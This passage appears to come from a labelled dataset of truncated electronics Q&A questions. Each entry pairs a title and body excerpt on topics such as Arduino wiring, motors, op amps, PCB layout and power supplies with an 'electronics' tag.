what I did to ... ",['electronics'] "Title: Motomama arduino motor shield issues Body: I loaded up the example sketch for the itead Motomama on my Arduino Mega ADK and I see the green led's in the middle of the board slowly going on and off as expected from the sketch. The problem is, ... ",['electronics'] "Title: high torque and high rpm dc motors Body: I am making an electric 4x4 car, will it make a difference in overall speed if: Case1: all 4 motors are high torque and relatively low rpm Case2: 2 high torque relatively low rpm and 2 high rpm ... ",['electronics'] "Title: 3.3v input to Arduino digital pin Body: Is it safe to bring a arduino digital input pin to high on a 3.3v input..from the 3.3v output of the arduino pin? Because, I need to reset a 3.3v device on one end..and get the arduino to know about ... ",['electronics'] "Title: What Solenoid type should be used when attempting to power with a battery/solar power source? Body: I am building yet another home irrigation system driven by my raspberry pi. I am using a transistor switching circuit like one linked in Solenoid Electrical Characteristics to switch a 12VDC solenoid ... ",['electronics'] "Title: What values / components do I need in this flip-flop circuit? Body: I need a circuit to make a relay toggle when pushing a push button. I found this circuit here: It looks good for me - please tell me if it won't work. I intend to work with a push button to Vcc ... ",['electronics'] "Title: Separate grounds on connector. Common ground plane on PCB? Body: Further to this question: Best way to group power pins on a connector? where I was advised to keep the ground pins for different power supplies separated on the stacking connector. And bearing in ... ",['electronics'] "Title: How to delay a signal? Body: I need the RX line of my UART to be delayed about 1 ms, so I receive my data a fraction later. Are there simple, cheap components who can do this? Or would I need an extra external UART with a FIFO, ... ",['electronics'] "Title: Mono audio track on two speakers Body: I have a mono audio signal which I want to output on two boxes. Can I just connect the speakers in series or parallel (which?) or do I have to do something more advanced (and if so, what)? ",['electronics'] "Title: What do you call four 'connected' potentiometers? Body: I know we have mono potentiometers and stereo potentiometers, when there are two potentiometers connected mechanically. What do you call a potentiometer consisting of four mechanically connected ... ",['electronics'] "Title: General Questions about PIC24 MCU Input and Output Pin Impedance, Voltage, and Current Body: I'm having a mental lapse. Try and help me make sense of a few basic things concerning microcontroller pins at the hardware level, please! Correct me if I'm wrong… in the circuit of Figure 1 (see ... ",['electronics'] "Title: Can I use more diodes to reduce the voltage off a diode bridge? Body: I have a transformer labeled as providing 9Vac, 3.36 A. It appears to provide 9.4 v ac according to my multimeter. It runs through a diode bridge (WAB 040 diodes -- already fried the last version), ... ",['electronics'] "Title: Specifications of NMOS and PMOS transistors for 90nm technology? Body: What are the length and width specifications for PMOS and NMOS transistors and capacitor ranges for 90 nm CMOS technology? I'd like to design a low power full adder cell using majority charge ... ",['electronics'] "Title: How to address a 16 bit LCD using 8 bit bus? Body: I need such a TFT with SSD1289 controller, but with 8 bit bus. Does anyone know how to modify it? ",['electronics'] "Title: Serial Peripheral Interface Body: I was going through an article related to SPI. There was a configuration named 'Daisy Chaining', in case of multiple slaves. So far, what I have understood about SPI (based on Wikipedia) is: SPI can ... ",['electronics'] "Title: Wiring a 1920s intercom to a contemporary door-entry phone Body: I have recently purchased a 1920s wall-mounted intercom: I would like to connect this unit to our existing ""4+n"" door entry phone system, replacing the cheap plastic handset that we currently use ... ",['electronics'] "Title: FT230X 3V3OUT pin connected to 3.6V, Safe? Body: The FTDI ft230X datasheet states that, for the output pin of the internal LDO: When VCC is 3V3; pin 8 is an input pin and should be connected to pin 10. page 7. Meaning that 3V3OUT of the ... ",['electronics'] "Title: Arduino Leonardo doesn't get auto-detected in Windows 7 (64bit) Body: I recently purchased an Arduino Leonardo to control my Sumo robot. I plugged it in to my friends computer and was able to use the Arduino IDE to upload code to the board and run a simple wheel-test ... ",['electronics'] "Title: What happens to the circuit Voltage, Energy? Body: I was recently asked this question to calculate the voltage across a capacitor. The problem is described as follows :- Consider a capacitor ""C"" connected across a voltage source ""V"". Once the ... ",['electronics'] "Title: how to design a switch which works when an input of 0.10 is applied Body: i have an alarm clock , it's output voltage to the alarm buzzer is around 0.15 volt , i need to attach an electrical appliance to make it operate on scheduled time , for that i had used this circuit ... ",['electronics'] "Title: Can you work out real power by taking the average of several measurements of instantaneous power? Body: Pretty simple answer to this, but I have managed to get myself into a lot of confusion Can you work out real power by taking the average of several measurements of instantaneous power? I was hoping ... ",['electronics'] "Title: Why does a Tesla car use an AC motor instead of a DC one? Body: I was just watching a mega factory video and wondered why they use an AC motor which requires a power inverter instead of DC which may be powered directly from their DC battery? Introducing an ... ",['electronics'] "Title: Raw access to CMOS image sensor? Body: I am interested in developing an idea using CMOS sensors, and I was wondering if I could get some pointers (I don't know much about image sensors) First, my understanding is that CMOS image sensors ... ",['electronics'] "Title: How to hook up multicolour 5x8 LED Matrix to Arduino. It has 14 pins on each side Body: How to hook up multicolour LTP-2558AA 5x8 LED Matrix to Arduino? It has 14 pins on each side. ",['electronics'] "Title: Op amp design that gives \$V_{out} = -2 *V_{1} + 3*V_{2} - 3 V_{3}\$ Body: I know that a regular summing amplifier does \$\ V_{out} = -(a*V1 + b*V2 + c*V3)\$ but how do I invert one of the gains? ",['electronics'] "Title: Small high gain directional antenna Body: I want to build a high gain directional antenna for the 915MHz frequency band. I have been looking into waveguide and yagi antennas, which seems to fulfill my gain a directional requirements but ... ",['electronics'] "Title: AIC1863: How to use this MC to detect the presense of IR transmission? Body: I have build simple prototype on STM32 ARM Cortex microcontroller trying to understand the usage of AIC1863 IR Preamplifier for Remote Control System (see the handmade PCB on the breadboard). MCU ... ",['electronics'] "Title: Choosing the type of battery for a project Body: I am working on a machine which consists of 10 servos, and one microcontroller. The servos need to be on pretty much all the time for about 8 minutes. I am planning on using the ATmega16 to provide ... ",['electronics'] "Title: Approx. V, Amps and Transistor required for ~18cm ,12W Speaker Electromagnet Body: I have a large 8ohm speaker with a ""12W500"" rating, and another sticker saying 3/38/5 (QC check?) ~18cm Magnet and 30cm Cone. I want a silent vibrator for chladni plate (vibrating plate) -Will it ... ",['electronics'] "Title: Alternatives to Geiger Mueller tubes? Body: I'm using classical GM tubes for radiation measurement (gamma plus beta, natural radiation levels) and would like to know if there is a more ""electronic"" sensor for radiation. ",['electronics'] "Title: Book / material recommendation for physics of electronic components? Body: I am looking for a book or any material on the actual, nitty-gritty physics of analog electronic components and circuits, hopefully covering things like dielectric relaxation, Johnson noise, and ... ",['electronics'] "Title: How to achieve high impedance input on OPAMP without sacrificing bandwidth Body: I was trying to simulate (In LTSPICE) buffer for ADC 08200 that would have 1Meg input impedance it is about to be used with standart oscilloscope probes. But I am having problem with bandwidth ... ",['electronics'] "Title: Connecting SATA to SATA [closed] Body: Is it possible to use the SATA interface to write data to it by PC and use the bus to transmit the data to another receiver SATA board ? ",['electronics'] "Title: How do glass tube fuses work? Body: This may be the an unspeakably stupid question for an electrical/computer engineering student to ask, but I ran across a few parts I didn't recognize (which, after some research, I found out were ... ",['electronics'] "Title: Why would a breadboard have a conductive plate underneath it? Body: So for my electrical engineering classes, we were tasked to make an operational amplifier. However, on the day of testing the instructor showed me that the bottom of my breadboard (which he had ... ",['electronics'] "Title: Kicad Eeschema 'Power Symbol' with local scope? Body: AFAIK, Power symbols in Eeschema have global scope. What is the best way to achieve local scope power rails? The only one I can think of is using normal net labels or hierarchical label. When does ... ",['electronics'] "Title: Dirac Delta Impulse Response of series RC circuit (Voltage across the capacitor) Body: I have evaluated the transfer function of an RC circuit, getting the following transfer function: H(s)=1/(1+sCR) the impulse response (i.e. output response to a Dirac's Delta) would thus be the ... ",['electronics'] "Title: How to choose a reed switch and magnet? Body: I need to use a reed switch and a magnet on a shaft. When it get turned to a specific degree the magnet will trigger the reed switch. The shaft only turns one way and is turned by hand. The problem ... ",['electronics'] "Title: How to send information over large number of client? Body: I have one master which needs to send information to lots of slave device ~1000 which needs to receive same information. As I need to power all of the slave device, I was thinking of using same wire ... ",['electronics'] "Title: How are the prepreg & core selected for a 6 layer (1 oz each) and 93mil PCB thickness? Body: I would appreciate your help. How is defined the number of prepreg and Core dielectrics for a 6 layer (1 Oz each) and the total 93 mil tickness of the PCB? ",['electronics'] "Title: How many lower volt charges are in a 12V/8A dry cell Body: On a long rafting trip I will be charging a cell phone (charger output = 5.1V/1A) and a head lamp (charger output = 4.2V/1A) using a 12V/8A dry cell battery as the power source. The cell phone will ... ",['electronics'] "Title: Wake up MCU on UART RX data Body: I have several MCU's of which I cannot use the deep-sleep modes, because they cannot wake up on UART data coming in. Are there any components for sale which can solve this? I can imagine something ... ",['electronics'] "Title: 24GHz Radar : IF amplification and strange mixer output Body: I am currently working on a project where I have to study a microwave Doppler Radar. Here are some details so that you can better understand it : a local oscillator (LO) at 24GHz is linked to an ... ",['electronics'] "Title: What is the current draw of an Arduino Due board when sleeping? Body: I have application which requires 1 year+ operation on a small battery (2xAAA or coin cell). It will be spending 99.99% of the time sleeping only requiring an internal timer for periodic waking and ... ",['electronics'] "Title: Why would one drive LEDs with a common emitter? Body: I've seen tutorials aimed at beginners suggest the way to drive an LED from something without enough current drive is this: (option A) but why not this: (option B) Option B seems to have some ... ",['electronics'] "Title: 11A trace width Body: Using this PCB Trace Width Calculator the external tace width for 11A (default settings) is suggested as 8.21mm. Is this acceptable? I was expecting something bigger, and just wanted to check that ... ",['electronics'] "Title: Driving LEDs / other small loads with a 74HC06 or similar inverter Body: I was recently reverse-engineering some firmware (and other bits) from a router, and spotted that the front panel LEDs were driven from a 74HC06 hex inverter gate chip rather than a proper LED driver. ... ",['electronics'] "Title: ACS758 current sensor output voltage cannot be read by Arduino Body: I have two ACS758 current sensors, specifically the 050B and the 200B. I want to monitor the current coming in to and out from my buck converter circuit. I attached the output of the ACS758 directly ... ",['electronics'] "Title: How do I know the resistance of a logic level MOSFET transistor? Body: I have recently gotten into the microcontroller scene, and I have been stumped with a question all day. My microcontroller's GPIO pins cannot handle more than 20ma; I want to connect a MOSFET ... ",['electronics'] "Title: Implementing 3 to 8 decoder using 4 input NOR Gate Body: I have deduced the truth table to the required logic function, but I really need some advise on how I could implement it using a 3 to 8 line decoder, an inverter and a 4 input NOR Gate. ... ",['electronics'] "Title: What are the components needed for this receiver? Body: I want to build a simple crystal radio receiver. I do not want amplify the signal received. I want to detect the presence of a transmitted signal, and then use the presence of the received signal as a ... ",['electronics'] "Title: Usefulness of constant current limiting in bench power supply Body: I'm building a bench power supply as my introductory project to electronics. When it comes to adjustable voltage it's easy to see the usefulness of such feature but I can't figure out what is the ... ",['electronics'] "Title: nvidia display adapter downgraded itself to HD [closed] Body: I am experiencing something strange in one of my laptops that I haven't seen before. The laptop is an ASUS K52JC, has an Nvidia Geforce 310M. I have it setup as a dual boot with both windows 7 and ... ",['electronics'] "Title: Difference between a dc and ac motor [closed] Body: The supply difference ok. What other differences are their for them. For example , field windings , structure, alternating flux, commutator, and the advantages. Kindly help me with good images, ... ",['electronics'] "Title: Revolutions (pulse) per minute counter circuit? Body: Does anyone know how to set up a circuit by using counters, decoders, 7 segment displays and a 555 timer to show the revolutions (pulses) per minute from a photo-transistor? I'm doing this as part of ... ",['electronics'] "Title: GPS error reasons and maximising errors Body: I noticed that when using gps in mobile phone, I am positioned away from a wall if I stay very close to it. For example on a street with buildings on both sides, I usually get my location fix on the ... ",['electronics'] "Title: Why do 7490 and 7493 have gated reset inputs? Body: Why do 7490 and 7493 have gated reset inputs? For example: 7493 has two inputs MR1 and MR2. Internally, these two inputs are fed into a nand gate, the output of which is use as the reset ( active low ... ",['electronics'] "Title: Wiring SSR with Arduino Body: I'm attempting to adapt a project with the wiring diagram shown here: http://www.glacialwanderer.com/hobbyrobotics/?p=9 But instead of the electromechanical relay used in the above link, I'm using ... ",['electronics'] "Title: smallest gps out there [closed] Body: I'm working on a school project and my team needs the smallest GPS possible. With some help from stackoverflow, we found https://www.sparkfun.com/products/11571 from sparkfun. This is good enough to ... ",['electronics'] "Title: Measuring voltage on ac adapter Body: I got a device (an ADSL modem) that when plugged in to an ac adapter does not seem to do anything (power light stays off). I would like to know how to measure voltage for an ac adapter to make sure ... ",['electronics'] "Title: How does one determine Lead-Acid battery end-of-life? Body: Have a lead-acid (deep-discharge) battery bank (small bank with only 2 batteries, in series), whose terminal voltage reads 26.5V. My past method of determining the need to change batteries is based on ... ",['electronics'] "Title: Transmit video from a usb/ttl camera [closed] Body: I'm currently working on a project which requires to transmit video wirelessly(RF).After I've done tons of research online,I still don't have a clue how to achieve this. Is there a kind of IC that ... ",['electronics'] "Title: PIC problem: Touching the crystal capacitor makes the system slows down Body: I am experiencing a very unusual problem (at least for me). When I touch with my fingers, or the oscilloscope probes, on the crystal or it's capacitors, the PIC runs slower...and A LOT slower then it ... ",['electronics'] "Title: cylindrical shaped potentiometer Body: Do cylindrical potentiometers exist? I'm creating an LED ""pen"" which will change color corresponding to the position of the twist of the pen. Imagine one of those pens that retract when you twist ... ",['electronics'] "Title: How do I multiplex many signals into my sound card? Body: I'm looking for a recipe that will allow me to... Hook 24 piezos to a box that will ""multiplex"" their output into a single signal that I can connect to the microphone input on a PC soundcard. The ... ",['electronics'] "Title: Mosfet Depletion Region? Body: I'm reading about Semiconductor Physics (Semiconductor - Physics and Technology), and I'm confused on one part of MOSFETs. I understand the PN junction (FINALLY!) and all the basic level stuff. But ... ",['electronics'] "Title: VDIP1/VNC1L: command failed when setting the baudrate for the device Body: In order to interface a USB device with an AVR microcontroller I'm using an FTDI VDIP1, that is a development module for the VNC1L chip which provides USB host capability. The USB device that I need ... ",['electronics'] "Title: Why does this buck converter output such low current? Body: I'm making my first attempt at building a buck converter, as a constant-current supply for a 700ma LED, from a 5V or 12V supply. I have it working with the parts I had on hand, at about 88% ... ",['electronics'] "Title: What is this device? Body: I found this little device which got my attention. Maybe you can tell me what it is. Is it a I/O board with an OS running on it similar to Raspberry PI? ICs on the device: AMD: AM29F200BT-70EC ... ",['electronics'] "Title: Is \$I_e = I_c\$ for phototransistors? Body: Due to the base current, in a common emitter circuit the emitter current is a bit higher than the collector current: \$ I_e = \dfrac{1+\beta}{\beta} I_c \$ I was wondering how this is for a ... ",['electronics'] "Title: PID Control Loops with large and unpredictable anomalies Body: Short Question Is there a common way to handle very large anomalies (order of magnitude) within an otherwise uniform control region? Background I am working on a control algorithm that drives a ... ",['electronics'] "Title: Analog vs digital wireless newbie questions Body: As i try to understand the real difference between analog wireless and Digital wireless i'm asking some questions : As far as i know digital means more accuracy of data, but require larger bandwith to ... ",['electronics'] "Title: How can I prevent a 556 timer IC from becoming very hot? Body: I built the circuit described in a previous question/answer which I will repost here: It's been running quite well, actuating the solenoid at regular intervals as designed. The TIP122 transistor is ... ",['electronics'] "Title: Why is there a -12V rail for ATX Body: The ATX specification includes a -12V (and an optional -5V) rail on the main power connector. What are these negative voltage rail used for on the connected circuits? ",['electronics'] "Title: General Electronics vs. Embedded programming oriented program [closed] Body: I've got a choice between two types of Electronic Engineering degrees, as the title says. One goes the general route, basics of electricity, analog electronic, digital electronic, measuring stuff, ... ",['electronics'] "Title: What happens to I/O pins in Low Power Mode on MSP430 Body: I'm reading the datasheet for the MSP430G2553 about the low power modes that the microcontroller has but it doesn't talk about what happens to the IO Ports when it enters low power modes. It only ... ",['electronics'] "Title: Use Arduino to detect momentary 120VAC interruption Body: I'm trying to figure out how to notify an Arduino controller that there's been a momentary interruption to a 120V AC circuit that is normally powered. When a spring-loaded switch is pressed, it opens ... ",['electronics'] "Title: How exactly does a high hat foot pedal work for an electronic drum kit? Body: I've been building my own e-kit and the high hat pedal I have has been working correctly up until recently. It's from an Alesis iDM-02 kit, but the module I'm currently using is the Alesis Trigger IO. ... ",['electronics'] "Title: Digital Isolation comparison Body: I am currently using ADuM4160 by Analog Devices as a USB isolator. However, this part is EXPENSIVE. I was wondering if anyone thinks it can be replaced with ADuM2200. Any reason why this wouldn't ... ",['electronics'] "Title: Converting logic and sign Body: I have an interesting project and I could use a little help. I'm using a microcontroller who's input to the ADC and output on the GPIO and DAC pins are all within a 3.3V range, and I have to interface ... ",['electronics'] "Title: Std_logic_vector to unsigned conversion problem Body: ... ",['electronics'] "Title: In Altium how do you increase the trace width from a Pour to GND Vias and Pads? Body: In my PCB layout I have a ground power connector and several pads where I would like thick traces to connect to the ground plane. When I use the polygon pour feature, it will connect these with 4 ... ",['electronics'] "Title: 2-Channel Relay Question Body: I recently purchased this signal relay board. When Input 1 and Input 2 are at 3.3VDC, both D1 and D2 illuminate. Here is my set up, +3.3VDC for IN1 as well as a separate +3.3VDC for IN2. For VCC we ... ",['electronics'] "Title: Why exactly does Connecting a Motor Directly to an Arduino Damage it? Body: I understand that you usually need an H-Bridge or some sort of Motor Driver to connect a Motor to an Arduino, as otherwise it will damage it. But why is this, I mean I realize each pin can only ... ",['electronics'] "Title: Question on Karnaugh maps Body: Given this function F(A,B,C,D) = Product-M(4,8,9,11,12) . D(2,3,6,7,10,14) I know how to get a simplified SOP expression using K-map. However, I'm not sure about simplifying this function until it is ... ",['electronics'] "Title: Separating USB/MCU power buses Body: There are two power supply sources in the following diagram - USB and 12V. Only one power supply can be connected at the same time. I am trying to disable power to ... ",['electronics'] "Title: How to trigger an SCR after a certain time since the start of a cycle of mains voltage? Body: I am looking for an Arduino code that uses PWM. Mine's a little different than most PWM programs however because I am looking to create some sort of reference point within the code to not only vary ... ",['electronics'] "Title: Converting DisplayPort to 24 bit RGB parallel. Possible? Body: Is it possible to interface a DP1.1 complaint source to a TFT Module that uses 24 bit RGB? I'm investigating the possibility of interfacing an Atom D2550 with This Display. I have 3 options to ... ",['electronics'] "Title: How can you guarantee stability of an inverting opamp configuration amplifier? Body: I had to design a circuit for measuring the voltage of a negative power supply rail (-15 V) and feeding it into a ADC (0-3 V DC-coupled input range). This measurement is only used for diagnostics and ... ",['electronics'] "Title: Developing hardware in FPGA with LED Driver Chip Body: I asked related TI TLC5944 LED Driver questions here, here and here Actually initially I was supposed to simulate the following design. I had to simulate the driver functionality also (as the driver ... ",['electronics'] "Title: What would a voltage between 0 & 1 do to a AND-gate IC? Body: If I have a 7400 chip with an AND-gate (0 = 0V & 1 = 5V) would it be seen as 0 or 1 if the input is at 2V and also 4V? ",['electronics'] "Title: AVR Assembly on Arduino through USB? Body: Say I wanted to learn AVR ASM, and I had an arduino. Now i know you can program assembly on the arduino, but is there a way to do it through USB. I assume i'd just write normal assembly and do it ... ",['electronics'] "Title: Eagle TI CC2540 Ground Pad? Body: I have been working on a PCB layout. It's my first time working with Eagle, and my first time prototyping a board. I am using a CC2540. I understand that this uses a RHA package which has a ground ... ",['electronics'] "Title: Occasionally the first byte of data from an SD card SPI read is bad Body: The device I am developing is an SD card storage add-on to a retro computer, SanDisk Ultra II 1.0 GB SD card in an SD card socket (I have no idea if the brand is significant, it just happens to ... ",['electronics'] "Title: controlling SPI devices using the Arduino - different voltages Body: My arduino board uses 5v to power the atmega chip. I was wondering is there any thing wrong with powering my atmega at 5v but say I power my MCP4922 dac at 3.3v does it matter? It just that I've seen ... ",['electronics'] "Title: Square wave generator has nigh-useless output Body: I have a system that was designed for testing digital components. I have a device in the system which is used for generation and acquisition of digital signals. Now, I will happily admit to not ... ",['electronics'] "Title: low consumption wifi board [closed] Body: Our company is interested in composing an electronic device with the following requirements. Can connect to the internet through wifi so we can interact with it through a web service. Battery ... ",['electronics'] "Title: Keeping a TVS diode biased continuously? Body: Quick question: Does operating a TVS at or above its ""rated"" (1 mA) voltage damage the device over time, as long as it doesn't get appreciably warm? Background: I'm driving some pretty hungry motors ... ",['electronics'] "Title: Calculating photodiode current based on A/W for simulation Body: I'd like to simulate photodiode current for a silicon photodiode, one example device the project may use has the following specifications: Based on the above plus a guess at Rs for the moment from ... ",['electronics'] "Title: When to use Nodal Anaylsis / Mesh / Superposition? Body: I'm studying these three methods and i'm confused on exactly which one is used when. This is a very broad question. Therefore, could some explain in general terms the difference of the three methods ... ",['electronics'] "Title: Wobble Bass LFO circuit with Op Amps Body: I am trying to build a LFO circuit that produces a wobble bass effect. My overall plan is using an Op Amp to create the LFO and another Op Amp to create the low pass filter. How should I connect ... ",['electronics'] "Title: Using external oscillator for MSP430 Timer Body: I'm want to use an external low frequency crystal (32kHz) for the timer in my MSP430G2553 and the internal oscillator at 8MHz, but in the datasheet I can't see how I should use the external crystal ... ",['electronics'] "Title: about the RTL view in xilinx Body: Actually in my vhdl project i have included the blocks for clock generator,LSFR(data generator),IQ mapper,polyphase . Out of all these blocks the block polyphase block is fully missing in the rtl ... ",['electronics'] "Title: Are bent oscilloscope probe BNC connecter pins usual feature? Body: I got a new Testec TT-LF312 probe for my oscilloscope and I noticed that on the probe's BNC connector, the pin in the center is bent sideways a little bit. The result is that it takes a little bit ... ",['electronics'] "Title: How to calculate current and voltage necessary for a solenoid to lift a given mass to a given position? Body: When you have a solenoid like without the core above and below, how do you calculate the current and voltage necessary to lift a metal rod of given mass m within the solenoid against gravity to a ... ",['electronics'] "Title: Paralleling MOSFETs or MOSFET and IGBT to increase capacity in QRSMPS Body: Is there a relatively simple way to increase the load capacity of a integrated SMPS/MOSFET controller by adding a parallel device? This is the device: Fairchild FSCQ1265RT The method has been ... ",['electronics'] "Title: What wavelength do I need for a IR pen? Body: For building a wiimote whiteboard what wavelength should my IR LED be? Would a 940nm one be okay? I am planning on using this software: http://www.uweschmidt.org/wiimote-whiteboard P.S. My specs ... ",['electronics'] "Title: Emulate USB device with USB host Body: Is it in principle possible to connect two computers with a USB A to USB A cable, and have one pretend to be a USB device, and the other act as host? Assume I have complete control on the software ... ",['electronics'] "Title: Simple Metronome Circuit w/ Linear Pot Control Body: I'm trying to design a square wave oscillator to control an LED with a LINEAR frequency control range of ~0.017 Hz to ~17 Hz (1 BPM to 1000 BPM). EDIT Oli's excellent answer and circuit indeed make ... ",['electronics'] "Title: 24v brushless DC Driver Pinout Body: I have some Brushless DC Motors with drivers and I need some help finding the pinout of the drivers. Please take a moment to view the pictures here, clicking on a picture will show its ... ",['electronics'] "Title: about the code for fir filter Body: Below is a 4 tap filter. That means the order of the filter is 4 and so it has 4 coefficients. the input is signed type of 8 bits wide. The output is also of signed type with 16 bits width. The ... ",['electronics'] "Title: Antenna Design Filtering Out UnWanted Frequencies Body: I was wondering if someone could explain to someone with no electrical engineering background where would one place the resonator whose sole responsibility is to amplify sine waves at a particular ... ",['electronics'] "Title: How can I model this linear power system in MATLAB? Body: For my power system, let us suppose it has the following dynamic model: \$\ x ' = f(x,u)\$. This dynamic model consists of four first order differential equations (see below). Then, I linearized ... ",['electronics'] "Title: Micro-controller controlled current source Body: I am trying to design a programmable current source that can go up to 5 A. I have a few designs in mind but none of them really seem to be best solution. I would appreciate if any one has any good ... ",['electronics'] "Title: How NAND Flash controllers erase single pages efficiently? Body: I'm working on some code to manage a NAND flash and I need to erase single pages, given that the smallest erasable unit is a block, the only solution I could think of is to: Erase a reserved block ... ",['electronics'] "Title: Reduce and clip voltage of a 5Mhz ultrasonic signal from +-50V to 0-3.3 V Body: I know there are a lot of posts similar to this one but some differences make it worth posting it. I’m working on a project where I have a 5MHz AC signal with the largest amplitude of +-50V. It’s an ... ",['electronics'] "Title: Looking for an SOC with ARM, DSP and GPU Body: In past I have used TI DaVinci Chips having an ARM core and a DSP. I am now looking for a chip having a GPU along with ARM and DSP. I know ARM Mali has a GPU core. But is there any chip available ... ",['electronics'] "Title: Is this capacitor 1.2volt or 5volt rated? Body: I am having trouble understanding this. The document says that this cap is rated at 5volt, but it says that it will break down above 1.2volts... Can someone please take a look and tell me what they ... ",['electronics'] "Title: What are the 49.9 ohm resistors for in this circuit? Body: I was wondering what do the 49.9 ohm resistors do in this circuit? Are they absolutely required since I don't have any that size. ",['electronics'] "Title: Accessing individual I/O pin on MSP430 Body: Im porting some software from Microchip PIC (using the HI-Tech C Compiler) to TI MSP430, and in the existing code they access the pins directly with something like: ... ",['electronics'] "Title: Without double-clocking, how to perform 2 write and 2 read each clock using Dual Port RAM? Body: In a project I'm working currently, the quad-port RAM ,which can perform 2 write and 2 read each clock by double-clocking technique, is required to achieve some specific goals. But now it seems too ... ",['electronics'] "Title: Data transfer from Latch to PIPO Body: This program is in Verilog and simulating on Modelsim. I am trying to transfer 48 bits data from 192 bits latch to Parallel in Parallel Out (Register) in 4 slots. I am not getting output at PIPO. ... ",['electronics'] "Title: ACS714 5A AC Current Sensing arduino Body: hey guys i just got my ACS714 -5 to +5A IC i am new the current and voltage sensing i googled for tutorials on ACS714 5A but couldn't find a suitable tutorial with AC sensing. I got the code below ... ",['electronics'] "Title: EMC Design Precaution Body: I'm designing a simple circuit which will charge a big capacitor for 3 seconds, then pass a 5A current for few microseconds, then charge again the big capacitor for 3 seconds, then pump again 5A for a ... ",['electronics'] "Title: Where can I find a small wall outlet feed through? Body: I am looking to make an aluminum box that contains an AC/DC converter to protect the wires, but I need to be able to plug in a regular AC wall outlet cord to the box itself (to go through and bring ... ",['electronics'] "Title: Raspberry Pi to Digital LEDs, No Soldering Body: I have a Raspberry Pi laying around right now that I'd like to put to use, and I'm also going to be buying a string of digital LED pixels from Adafruit (the string of 25 WS2801 pixels). I know I can ... ",['electronics'] "Title: Is Automobile Power Viable for Electronics Projects? Body: I have some project ideas that would be targetted for use in a vehicle. I would like to consider the possibility of tapping into the car's 12V battery to power the projects, for example through the ... ",['electronics'] "Title: Modifying an automotive 12V power outlet to disable power when car is off? Body: Recently, on a business trip, I had a rental car. Now, in my car, all of my 12V power outlets are always on. On the rental car, some of them were always on, some of them were only on when the car was ... ",['electronics'] "Title: About Resistor packages, inductor packages and capacitor packages Body: I want to know what is meant by Resistor, capacitor, and inductor packages. what are differnt catagories in them. ",['electronics'] "Title: IR Audio Receiver and Transmitter Body: Let me start by saying that I am a newbie on this, trying to do some hobby stuff. I am a software professional trying to interface with hardware (maybe getting into Arduino). Using this information ... ",['electronics'] "Title: Open bench logic sniffer Not working Body: I am using my openbench logic analyser for the first time in a real project. I am not getting valid captures though. I have the latest client off dangerous prototypes website they recommend for mac. ... ",['electronics'] "Title: how to build a circuit that compares two potentials? Body: I want to build a circuit that compares two potentials, in principle, it works like so: basicly, the circuit gets 3 intputs, p1, p2 and input, and has one output, output. the potential of p1 would ... ",['electronics'] "Title: Using a TIP122 to control a motor Body: How do I control a hobbyist DC motor with a TIP122 transistor? I want to control it with the Arduino PWM pins, the power supply is 4 1.5V AA batteries connected in series giving 6v. Also, what steps ... ",['electronics'] "Title: Circuit Simulator is being funky Body: This circuit simulator called ""iCircuit"" for mac users is showing some weird readings. It's showing a reading of 2.4mA and i'm getting 6mA in my calculations for this circuit I threw up. Am I missing ... ",['electronics'] "Title: Battery powered portable wall outlet? Body: For a college competition we aren't given any wall outlets to power our devices. We are purchasing (we don't have it yet) the wireless camera kit in the following link and we need to rig up a portable ... ",['electronics'] "Title: Shortcircuit protection with PNP Body: R1 became RS R2 bacame R 1)Is this a correct shortcircuit protection? 2)What is the max current that can flow before the transistor enters in saturation? ",['electronics'] "Title: Switching Regulator (LED Driver) “Flickers” Body: I have a constant current LED Driver (LM3410) that effectively functions as a switching voltage regulator to provide enough voltage for LEDs in series. When I power it with a relatively low voltage it ... ",['electronics'] "Title: Correctly debugging switching (DC-DC) boost converter with Oscilloscope Body: I have an LED driver (LM3410) that adjusts it's voltage based upon how many LEDs you place in series to it and I'm curious to see what voltage it is actually outputting. To test it I connected my ... ",['electronics'] "Title: Can a Hartley Oscillator be built using Fixed Inductors? Body: I've been playing around with fundamental circuits (no professional EE background), and became interested in oscillators. I have been trying to build the Hartley oscillator as described here. The ... ",['electronics'] "Title: Diagnosing SD card failures Body: I have an embedded device using an SD card. Occasionally I see SD cards fail, and I need to understand the failure mode. Are there tools, perhaps for specific manufacturers, that help me understand ... ",['electronics'] "Title: Interfacing NAND flash with USBMSD Body: I'm trying to read files from a NAND flash (K9LAG08U0M) that I took off an old MP3 player, so far I've been able to read the NAND contents successfully by interfacing it to my PC as a USBMSD (Mass ... ",['electronics'] "Title: How do I choose a ferite bead for power supply filtering? Body: I want to put a ferite bead on positive SMPS supply rail that goes to analog part of the mixed digital/analog circuit. Now on parametric search at Digikey I can see several parameters: Current ... ",['electronics'] "Title: Tracking Flight of a Bee or a Wasp Body: I am planning to build a system that can track and present for me a path for the route a Bee or a Wasp has flown. What I am looking for is the tiny device can be placed on the back of an insect. Does ... ",['electronics'] "Title: clock operating switch Body: I have 2 channels that I want to switch between every 15 sec. so I guess I need a switch that switches channels by logical pulse ( lm555 I guess?) which ic/ circuit would be the best? Accuracy of the ... ",['electronics'] "Title: What should I use to create own xbox controller? [closed] Body: For a college project I am going to create my own xbox controller. I wanted to know which arduino should I purchase and which software can be used to code the buttons. Otherwise what could I use to ... ",['electronics'] "Title: When I use a 3.5mm extension cable for my earbud headphones, the center channel sounds corrupted and very soft [duplicate] Body: Windows 7 box, Klipsch earbud headphones, 10 ft extension cables bought from Monoprice.com. I bought 10 of them and have tested three so far, each has the same problem. When I plug the headphones in ... ",['electronics'] "Title: sequential circuits; clocked SR flip-flop Body: I'm learning about sequential logic and am wondering about the behavior of a clocked SR flip-flop. If R=S=0, then the AND gates evaluate to 0. In that case, and if the recurrent inputs to the NOR ... ",['electronics'] "Title: EAGLE ver 5 still around? Body: I am wondering if anyone still has the EAGLE installation file for version 5. For my purposes, ver 5 works better than ver 6 and I have deleted the old file. ",['electronics'] "Title: Electrical circuit / transformer in series? Body: I would like to pull out 5v 3A max in series from an already existing connection from the mains 240v 40A connection. Current circuit: What I would like to implement: What are the possible ... ",['electronics'] "Title: Calculating resistance given capacitance and charge over time Body: Given the seconds \$t\$ it takes a capacitor (with farads \$C\$) to discharge from 5 volts (\$V_0\$) to 0 volts (\$V_t\$), how do you calculate the effective ohms of resistance R in a circuit? Based ... ",['electronics'] "Title: Increase the analog sample rate of the IOIO? Body: On the analogue input wiki page for the Sparkfun IOIO (android development board), it says that the analogue pins are sampled at 1kHz. This is too low for a number of potentially exciting uses, like ... ",['electronics'] "Title: Negative Voltage Level Shifting to an ADC Body: I am currently building a project that uses an AD595 analog devices chip to linearize the output of the Thermocouple sensor to 